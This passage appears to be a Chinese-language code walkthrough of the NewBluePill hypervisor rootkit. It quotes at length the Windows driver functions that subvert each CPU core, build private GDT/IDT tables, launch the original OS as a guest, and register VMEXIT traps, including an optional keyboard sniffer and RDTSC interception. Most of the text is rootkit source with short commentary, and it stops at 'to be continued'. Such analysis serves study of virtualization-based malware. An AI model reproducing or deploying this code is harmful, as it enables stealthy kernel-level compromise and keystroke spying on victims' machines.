2.2
2.2.1HvmSwallowBluepill函数
NTSTATUS NTAPI HvmSwallowBluepill (
)
{
CCHAR cProcessorNumber;
NTSTATUS Status, CallbackStatus;
_KdPrint (("HvmSwallowBluepill(): Going to subvert %d processor%s\n",
KeNumberProcessors, KeNumberProcessors == 1 ? "" : "s"));
KeWaitForSingleObject (&g_HvmMutex, Executive, KernelMode, FALSE, NULL);
for (cProcessorNumber = 0; cProcessorNumber < KeNumberProcessors; cProcessorNumber++) {
_KdPrint (("HvmSwallowBluepill(): Subverting processor #%d\n", cProcessorNumber));
Status = CmDeliverToProcessor (cProcessorNumber, CmSubvert, NULL, &CallbackStatus);
if (!NT_SUCCESS (Status)) {
_KdPrint (("HvmSwallowBluepill(): CmDeliverToProcessor() failed with status 0x%08hX\n", Status));
KeReleaseMutex (&g_HvmMutex, FALSE);
HvmSpitOutBluepill ();
return Status;
}
if (!NT_SUCCESS (CallbackStatus)) {
_KdPrint (("HvmSwallowBluepill(): HvmSubvertCpu() failed with status 0x%08hX\n", CallbackStatus));
KeReleaseMutex (&g_HvmMutex, FALSE);
HvmSpitOutBluepill ();
return CallbackStatus;
}
}
for (cProcessorNumber = 0; cProcessorNumber < KeNumberProcessors; cProcessorNumber++)开始到结束为该函数的核心。
CmDeliverToProcessor的代码如下:
NTSTATUS NTAPI CmDeliverToProcessor (
CCHAR cProcessorNumber,
PCALLBACK_PROC CallbackProc,
PVOID CallbackParam,
PNTSTATUS pCallbackStatus
)
{
NTSTATUS CallbackStatus;
KIRQL OldIrql;
if (!CallbackProc)
return STATUS_INVALID_PARAMETER;
if (pCallbackStatus)
*pCallbackStatus = STATUS_UNSUCCESSFUL;
KeSetSystemAffinityThread ((KAFFINITY) (1 << cProcessorNumber));
OldIrql = KeRaiseIrqlToDpcLevel ();
CallbackStatus = CallbackProc (CallbackParam);
KeLowerIrql (OldIrql);
KeRevertToUserAffinityThread ();
// save the status of the callback which has run on the current core
if (pCallbackStatus)
*pCallbackStatus = CallbackStatus;
return STATUS_SUCCESS;
}
CmDeliverToProcessor代码检查参数后,提高当前线程在CPU中的亲和性(目的似乎是为了在执行该指令时不被打断)升高IRQL(只能NonPagedPool),调用HvmSubvertCpu函数。之后,降低IRQL,降低当前线程在CPU中的亲和性。
HvmSubvertCpu()函数:
NTSTATUS NTAPI HvmSubvertCpu (
PVOID GuestRsp
)
{
PCPU Cpu;
PVOID HostKernelStackBase;
NTSTATUS Status;
PHYSICAL_ADDRESS HostStackPA;
_KdPrint (("HvmSubvertCpu(): Running on processor #%d\n", KeGetCurrentProcessorNumber ()));
if (!Hvm->ArchIsHvmImplemented ()) {
_KdPrint (("HvmSubvertCpu(): HVM extensions not implemented on this processor\n"));
return STATUS_NOT_SUPPORTED;
}
HostKernelStackBase = MmAllocatePages (HOST_STACK_SIZE_IN_PAGES, &HostStackPA);
if (!HostKernelStackBase) {
_KdPrint (("HvmSubvertCpu(): Failed to allocate %d pages for the host stack\n", HOST_STACK_SIZE_IN_PAGES));
return STATUS_INSUFFICIENT_RESOURCES;
}
Cpu = (PCPU) ((PCHAR) HostKernelStackBase + HOST_STACK_SIZE_IN_PAGES * PAGE_SIZE - 8 - sizeof (CPU));
Cpu->HostStack = HostKernelStackBase;
// for interrupt handlers which will address CPU through the FS
Cpu->SelfPointer = Cpu;
Cpu->ProcessorNumber = KeGetCurrentProcessorNumber ();
Cpu->Nested = FALSE;
InitializeListHead (&Cpu->GeneralTrapsList);
InitializeListHead (&Cpu->MsrTrapsList);
InitializeListHead (&Cpu->IoTrapsList);
Cpu->GdtArea = MmAllocatePages (BYTES_TO_PAGES (BP_GDT_LIMIT), NULL);
if (!Cpu->GdtArea) {
_KdPrint (("HvmSubvertCpu(): Failed to allocate memory for GDT\n"));
return STATUS_INSUFFICIENT_RESOURCES;
}
Cpu->IdtArea = MmAllocatePages (BYTES_TO_PAGES (BP_IDT_LIMIT), NULL);
if (!Cpu->IdtArea) {
_KdPrint (("HvmSubvertCpu(): Failed to allocate memory for IDT\n"));
return STATUS_INSUFFICIENT_RESOURCES;
}
// allocate a 4k page. Fail the init if we can't allocate such page
// (e.g. all allocations reside on 2mb pages).
//Cpu->SparePage=MmAllocatePages(1,&Cpu->SparePagePA);
Cpu->SparePage = MmAllocateContiguousPagesSpecifyCache (1, &Cpu->SparePagePA, MmCached);
if (!Cpu->SparePage) {
_KdPrint (("HvmSubvertCpu(): Failed to allocate 1 page for the dummy page (DPA_CONTIGUOUS)\n"));
return STATUS_UNSUCCESSFUL;
}
// this is valid only for host page tables, as this VA may point into 2mb page in the guest.
Cpu->SparePagePTE = (PULONG64) ((((ULONG64) (Cpu->SparePage) >> 9) & 0x7ffffffff8) + PT_BASE);
#ifdef SVM_SPAREPAGE_NON_CACHED
*Cpu->SparePagePTE |= (1 << 4); // set PCD (Cache Disable);
#endif
Status = Hvm->ArchRegisterTraps (Cpu);
if (!NT_SUCCESS (Status)) {
_KdPrint (("HvmSubvertCpu(): Failed to register NewBluePill traps, status 0x%08hX\n", Status));
return STATUS_UNSUCCESSFUL;
}
Status = Hvm->ArchInitialize (Cpu, CmSlipIntoMatrix, GuestRsp);
if (!NT_SUCCESS (Status)) {
_KdPrint (("HvmSubvertCpu(): ArchInitialize() failed with status 0x%08hX\n", Status));
return Status;
}
InterlockedIncrement (&g_uSubvertedCPUs);
#if 0
Cpu->LapicBaseMsr.QuadPart = MsrRead (MSR_IA32_APICBASE);
if (Cpu->LapicBaseMsr.QuadPart & MSR_IA32_APICBASE_ENABLE) {
Cpu->LapicPhysicalBase.QuadPart = Cpu->LapicBaseMsr.QuadPart & MSR_IA32_APICBASE_BASE;
Cpu->LapicVirtualBase = (PVOID) Cpu->LapicPhysicalBase.QuadPart;
// set VA=PA
MmCreateMapping (Cpu->LapicPhysicalBase, Cpu->LapicVirtualBase, FALSE);
_KdPrint (("HvmSubvertCpu(): Local APIC Base PA 0x%08hX, mapped to VA 0x%08hX\n", Cpu->LapicPhysicalBase.QuadPart,
Cpu->LapicVirtualBase));
} else {
_KdPrint (("HvmSubvertCpu(): Local APIC is disabled\n"));
}
#endif
// no API calls allowed below this point: we have overloaded GDTR and selectors
#ifdef _X86_
#else
HvmSetupGdt (Cpu);
HvmSetupIdt (Cpu);
#endif
#if DEBUG_LEVEL>1
_KdPrint (("HvmSubvertCpu(): RFLAGS = %#x, CR8 = %#x\n", RegGetRflags (), RegGetCr8 ()));
#endif
Status = Hvm->ArchVirtualize (Cpu);
// never reached
InterlockedDecrement (&g_uSubvertedCPUs);
return Status;
}
该函数首先创建并初始化了一个CPU结构,接着构造了自己的GDT表和IDT表。
最后,该函数侵染CPU核心。侵染过程如下: Status = Hvm->ArchRegisterTraps (Cpu);
Status = Hvm->ArchInitialize (Cpu, CmSlipIntoMatrix, GuestRsp);
InterlockedIncrement (&g_uSubvertedCPUs);
Cpu->LapicBaseMsr.QuadPart = MsrRead (MSR_IA32_APICBASE);
if (Cpu->LapicBaseMsr.QuadPart & MSR_IA32_APICBASE_ENABLE) {
Cpu->LapicPhysicalBase.QuadPart = Cpu->LapicBaseMsr.QuadPart & MSR_IA32_APICBASE_BASE;
Cpu->LapicVirtualBase = (PVOID) Cpu->LapicPhysicalBase.QuadPart;
// set VA=PA
MmCreateMapping (Cpu->LapicPhysicalBase, Cpu->LapicVirtualBase, FALSE);
}
Status = Hvm->ArchVirtualize (Cpu);
// never reached
InterlockedDecrement (&g_uSubvertedCPUs);
return Status;
}
2.2.2 侵染核心三个步骤
Hvm->ArchRegisterTraps(Cpu) 注册VMEXIT事件处理函数
Hvm->ArchInitialize(Cpu, CmSlipIntoMatrix, GuestRsp); 开启虚拟机模式成为Hypervisor并构建虚拟机装入原来的操作系统
Hvm->ArchVirtualize(Cpu)开启虚拟机。
2.2.3 Hvm->ArchRegisterTraps(Cpu) 注册VMEXIT事件处理函数
该方法对应的函数实际为(不讨论AMD)位于vmxtraps.c
NTSTATUS NTAPI VmxRegisterTraps (
PCPU Cpu
)
{
NTSTATUS Status;
PNBP_TRAP Trap;
#ifndef VMX_SUPPORT_NESTED_VIRTUALIZATION
// used to set dummy handler for all VMX intercepts when we compile without nested support
ULONG32 i, TableOfVmxExits[] = {
EXIT_REASON_VMCALL,
EXIT_REASON_VMCALL,
EXIT_REASON_VMLAUNCH,
EXIT_REASON_VMRESUME,
EXIT_REASON_VMPTRLD,
EXIT_REASON_VMPTRST,
EXIT_REASON_VMREAD,
EXIT_REASON_VMWRITE,
EXIT_REASON_VMXON,
EXIT_REASON_VMXOFF
};
#endif
if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_CPUID, 0, // length of the instruction, 0 means length need to be get from vmcs later.
VmxDispatchCpuid, &Trap))) {
_KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchCpuid with status 0x%08hX\n", Status));
return Status;
}
TrRegisterTrap (Cpu, Trap);
if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_MSR_READ, 0, // length of the instruction, 0 means length need to be get from vmcs later.
VmxDispatchMsrRead, &Trap))) {
_KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchMsrRead with status 0x%08hX\n", Status));
return Status;
}
TrRegisterTrap (Cpu, Trap);
if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_MSR_WRITE, 0, // length of the instruction, 0 means length need to be get from vmcs later.
VmxDispatchMsrWrite, &Trap))) {
_KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchMsrWrite with status 0x%08hX\n", Status));
return Status;
}
TrRegisterTrap (Cpu, Trap);
if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_CR_ACCESS, 0, // length of the instruction, 0 means length need to be get from vmcs later.
VmxDispatchCrAccess, &Trap))) {
_KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchCrAccess with status 0x%08hX\n", Status));
return Status;
}
TrRegisterTrap (Cpu, Trap);
if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_INVD, 0, // length of the instruction, 0 means length need to be get from vmcs later.
VmxDispatchINVD, &Trap))) {
_KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchINVD with status 0x%08hX\n", Status));
return Status;
}
TrRegisterTrap (Cpu, Trap);
// set dummy handler for all VMX intercepts if we compile wihtout nested support
for (i = 0; i < sizeof (TableOfVmxExits) / sizeof (ULONG32); i++) {
if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, TableOfVmxExits[i], 0, // length of the instruction, 0 means length need to be get from vmcs later.
VmxDispatchVmxInstrDummy, &Trap))) {
_KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchVmon with status 0x%08hX\n", Status));
return Status;
}
TrRegisterTrap (Cpu, Trap);
}
#ifdef INTERCEPT_RDTSCs
if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_EXCEPTION_NMI, 0, VmxDispatchException, &Trap))) {
_KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchException with status 0x%08hX\n", Status));
return Status;
}
TrRegisterTrap (Cpu, Trap);
if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_RDTSC, 0, VmxDispatchRdtsc, &Trap))) {
_KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchRdtsc with status 0x%08hX\n", Status));
return Status;
}
TrRegisterTrap (Cpu, Trap);
#endif
#ifdef VMX_ENABLE_PS2_KBD_SNIFFER
if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_IO_INSTRUCTION, 0, // length of the instruction, 0 means length need to be get from vmcs later.
VmxDispatchIoAccess, &Trap))) {
_KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchIoAccess with status 0x%08hX\n", Status));
return Status;
}
TrRegisterTrap (Cpu, Trap);
#endif
return STATUS_SUCCESS;
}
未完待续。。。